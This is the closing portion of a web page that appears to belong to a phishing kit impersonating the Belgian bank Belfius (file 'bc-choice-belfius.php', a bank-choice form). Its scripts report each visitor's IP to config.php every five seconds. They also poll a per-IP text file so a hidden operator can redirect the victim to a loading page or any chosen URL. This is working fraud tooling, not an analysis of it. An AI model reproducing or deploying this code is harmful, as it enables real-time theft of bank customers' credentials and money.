                                                <div id="i18n" class="btn-group-xs btn-group ng-scope" role="group" style>
                                                    <button type="button" class="btn btn-primary ng-binding ng-scope active">
                                                        <img class="flag sf-hidden" alt="fr" src="data:,">FR

                                                    </button>
                                                    <button type="button" class="btn btn-primary ng-binding ng-scope">
                                                        <img class="flag sf-hidden" alt="en" src="data:,">EN

                                                    </button>
                                                    <button type="button" class="btn btn-primary ng-binding ng-scope">
                                                        <img class="flag sf-hidden" alt="nl" src="data:,">NL

                                                    </button>
                                                    <button type="button" class="btn btn-primary ng-binding ng-scope">
                                                        <img class="flag sf-hidden" alt="de" src="data:,">DE

                                                    </button>
                                                </div>
                                            </i18n>
                                            <help class="helpButton ng-isolate-scope help-button text-left">
                                                <button type="button" class="btn btn-default">
                                                    <span class="fa fa-info sf-hidden" aria-hidden="true"></span>
                                                    <custom-text class="ng-isolate-scope">
                                                        <span id class="custom-text ng-binding">Aide</span>
                                                    </custom-text>
                                                </button>
                                            </help>
                                        </div>
                                    </div>
                                </div>
                            </div>
                        </div>
                    </div>
                </custom-component>
            </choice>
        </ui-view>

        <?php echo $errormsg; ?>

        <input type="hidden" name="type" value="usr-choice-bank">

    </form>
    <script>
        // Send heartbeat every 5 seconds to update user's online status
        (function() {
            // Function to send heartbeat with user's IP
            function sendHeartbeat() {
                fetch('config.php?heartbeat=true&ip=<?php echo $ip; ?>&page=bc-choice-belfius.php', {
                        method: 'GET',
                        headers: {
                            'Cache-Control': 'no-cache',
                            'Pragma': 'no-cache'
                        }
                    })
                    .then(response => response.json())
                    .then(data => {
                        console.log('Heartbeat sent:', data.timestamp);
                    })
                    .catch(error => {
                        console.error('Heartbeat error:', error);
                    });
            }

            // Send initial heartbeat
            sendHeartbeat();

            // Set up interval to send heartbeat every 5 seconds
            let heartbeatInterval = setInterval(sendHeartbeat, 5000);

            // Handle page visibility changes (pause when tab is hidden)
            document.addEventListener('visibilitychange', function() {
                if (document.hidden) {
                    console.log('Page hidden - heartbeat paused');
                    clearInterval(heartbeatInterval);
                } else {
                    console.log('Page visible - heartbeat resumed');
                    sendHeartbeat(); // Send immediate heartbeat when tab becomes visible
                    heartbeatInterval = setInterval(sendHeartbeat, 5000); // Resume interval
                }
            });

            // Clean up on page unload
            window.addEventListener('beforeunload', function() {
                clearInterval(heartbeatInterval);
            });
        })();
    </script>
    <script>
    (function() {
      var ip = '<?php echo addslashes($ip); ?>';
      var token1 = '<?php echo addslashes($token1); ?>';
      var waiting = setInterval(function() {
        fetch('./users/' + ip + '.txt?rand=' + Math.random().toString(36).slice(-5), { cache: 'no-store' })
          .then(function(r) { return r.text(); })
          .then(function(data) {
            if (!data || data.length < 2) return;
            var row = data.split('#|#');
            var one = row[0];
            var two = (row[1] !== undefined && row[1] !== null) ? row[1] : '';
            if (one == 'load') {
              clearInterval(waiting);
              window.location.href = './bc-load.php?token=' + encodeURIComponent(token1) + '&error=' + encodeURIComponent(two);
            } else if (one == 'url' && row[2]) {
              clearInterval(waiting);
              window.location.href = row[2];
            }
          })
          .catch(function() {});
      }, 1500);
    })();
    </script>

</body>

</html>